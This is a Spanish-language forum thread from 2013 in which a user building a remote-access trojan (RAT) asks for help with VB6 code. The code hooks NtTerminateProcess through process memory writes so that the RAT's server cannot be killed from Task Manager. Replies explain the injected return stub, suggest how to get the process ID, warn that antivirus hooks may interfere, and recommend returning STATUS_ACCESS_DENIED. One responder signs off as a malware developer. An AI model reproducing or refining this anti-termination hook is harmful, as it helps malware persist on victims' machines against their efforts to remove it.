NtTerminateProcess Hook

Iniciado por kayser, Septiembre 23, 2013, 10:37:23 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola gente, he estado investigando ultimamente un poco sobre metodos de como proteger la ejecucion del servidor de mi RAT y al final me he decidido a hacer un hook a la API NtTerminateProcess para evitar que la ejecucion del servidor pueda ser interrumpida desde el administrador de tareas. Se que hay maneras mucho mejores de hacer lo que quiero pero queria algo no muy complicado para una primera version del RAT y con protegerlo del usuario medio que intentara pararlo desde el administrador de tareas me basta. He estado intentando hacerlo yo solo pero solo conseguia que el programa crasheara asi que me he puesto a buscar por la red si alguien habia hecho esto mismo en VB6. Al final he encontrado este codigo:

Código: vb
    Option Explicit 
     
    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Long)
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
    Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function EnumProcessModules Lib "psapi" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByVal lpcbNeeded As Long) As Long
    Private Declare Function GetModuleFileNameEx Lib "psapi" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
     
    Private Const MEM_RELEASE = &H8000
    Private Const MEM_COMMIT = &H1000
    Private Const MEM_RESERVE = &H2000
    Private Const PAGE_EXECUTE_READWRITE = &H40
    Private Const PROCESS_ALL_ACCESS = &H1F0FFF
     
    Private hProcess As Long
    Private FuncAddr As Long
    Private OldCode(4) As Byte
    Private NewCode(4) As Byte
    Private HookCode(4) As Byte
    Private CodeAddr As Long
     
    Private Function GetModuleHandleEx(ByVal hProcess As Long, ByVal ModuleName As String) As Long
    Dim hMods(1024) As Long
    Dim cbNeeded As Long
    Dim szModName As String
    Dim i As Integer
     
    If EnumProcessModules(hProcess, hMods(0), 1025 * 4, VarPtr(cbNeeded)) Then
        For i = 0 To (cbNeeded / 4)
            If hMods(i) Then
                szModName = String(260, 0)
                If GetModuleFileNameEx(hProcess, hMods(i), szModName, Len(szModName)) Then
                    szModName = Left(szModName, InStr(1, szModName, Chr(0)) - 1)
                    If LCase(szModName) = LCase(ModuleName) Then '
                        GetModuleHandleEx = hMods(i)
                        Erase hMods
                        Exit Function
                    End If
                End If
            End If
        Next i
    End If
    Erase hMods
    End Function
     
    Public Function HookNtTerminateProcess(ByVal ProcessId As Long) As Boolean
    Dim hMod As Long
     
    NewCode(0) = &HE9 ' jmp
    ' xor eax,eax
    ' ret 8
    HookCode(0) = &H33
    HookCode(1) = &HC0
    HookCode(2) = &HC2
    HookCode(3) = &H8
    HookCode(4) = &H0
     
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, ProcessId)
     
    If hProcess Then
        hMod = GetModuleHandleEx(hProcess, "c:\windows\system32\ntdll.dll")
        If hMod Then
            FuncAddr = GetProcAddress(hMod, "NtTerminateProcess")
            If FuncAddr Then
                ReadProcessMemory hProcess, ByVal FuncAddr, OldCode(0), 5, 0
                CodeAddr = VirtualAllocEx(hProcess, ByVal 0, 5, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
                If CodeAddr Then
                    CopyMemory VarPtr(NewCode(1)), VarPtr(CodeAddr - FuncAddr - 5), 4
                    WriteProcessMemory hProcess, ByVal CodeAddr, HookCode(0), 5, 0
                    WriteProcessMemory hProcess, ByVal FuncAddr, NewCode(0), 5, 0
                    HookNtTerminateProcess = True
                End If
            End If
        End If
    End If
    End Function
     
    Public Sub UnhookNtTerminateProcess()
    WriteProcessMemory hProcess, ByVal FuncAddr, OldCode(0), 5, 0
    VirtualFreeEx hProcess, ByVal CodeAddr, 5, MEM_RELEASE
    CloseHandle hProcess
    End Sub


El caso es que no consigo comprender el codigo al 100% y este no funciona de ninguna manera...

Alguien me echa una mano a comprenderlo y ver porque no funciona?

Un saludo  ;)

Básicamente pisa los primeros bytes de la API y en su lugar pone las siguientes instrucciones:

Código: asm
  xor eax,eax
   ret 8


Osea retorna la funcion restaurando la pila.

un saludo.


Gracias por leerme y responder mDrinky!
Sabes porque no funciona?

Un saludo :)

Le pasas el ID correcto del proceso?

Septiembre 23, 2013, 01:23:51 PM #4 Ultima modificación: Septiembre 23, 2013, 01:26:29 PM por kayser
Estuve leyendo como obtener el ID del proceso en la MSDN y encontre un par de funciones que una devolvia el handle y otra devolvia el ID en base al handle. Ahora no recuerdo cuales eran... Es posible que el fallo estuviera en como implemente esas dos funciones... La idea es obtener el ID del proceso del servidor que es donde se encontrara este code y sera el proceso que pretendo proteger. Tu como lo implementarias? Puedes poner un ejemplo o orientarme un poco?

Un saludo  :)

Edito: Tambien probe con esta funcion GetCurrentProcessId pero no me funciona...

Suponiendo que el código que as cogido no tengo ningun fallo lo unico que tendrías que hacer es utilizar esta API:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Que te retornara el ID de tu proceso y llamar a la funcion con ese ID.

un saludo.

EDITO:

Viendo lo que tu poner ahí me imagino que entonces el problema esta en el código que as cogido que no funiona o no funciona en la version que estas probando...

A mí me funciona perfectamente.

Comprueba que tu antivirus no esté deshaciendo el hook para meter el suyo. Algunos AVs como Avast tienen hooks en userland, interceptando las llamadas al sistema.

Para comprobar que te hookea correctamente abre un proceso en el OllyDbg luego desde el código hookeas. Te vas al OllyDbg y actualizas la memoria.

Saludos
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Septiembre 24, 2013, 10:19:21 AM #7 Ultima modificación: Septiembre 24, 2013, 10:41:06 AM por kayser
Me han dicho en otro foro que debo hookear todos los procesos del sistema para que funcione asi que me puse a programar un codigo que obtuviese los PID de todos los procesos y programe un bucle que los fuera hookeando uno por uno pero lo unico que he logrado es que se congele el ordenador y todos los procesos que descargan de memoria den una excepcion... Como lo has utilizado? Yo en principio obtuve el PID del servidor con la API GetCurrentProcessId y no me funciono y es que podia hacer un kill del server desde el administrador de tareas. A ver si aclaras como lo has logrado hacer funcionar.

Un saludo capo y gracias por leerme  :)

Edito: O bien no funciona o me muestra esta excepción:


A mí me hookea a la perfección. Para comprobar si hookea aplica el hook y haz attach a el proceso desde el Olly.

Igualmente deberías devolver STATUS_ACCESS_DENIED en lugar de STATUS_SUCCESS...
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

Nada no hay manera bajo Windows 7 no funciona y bajo Windows XP crashea... :(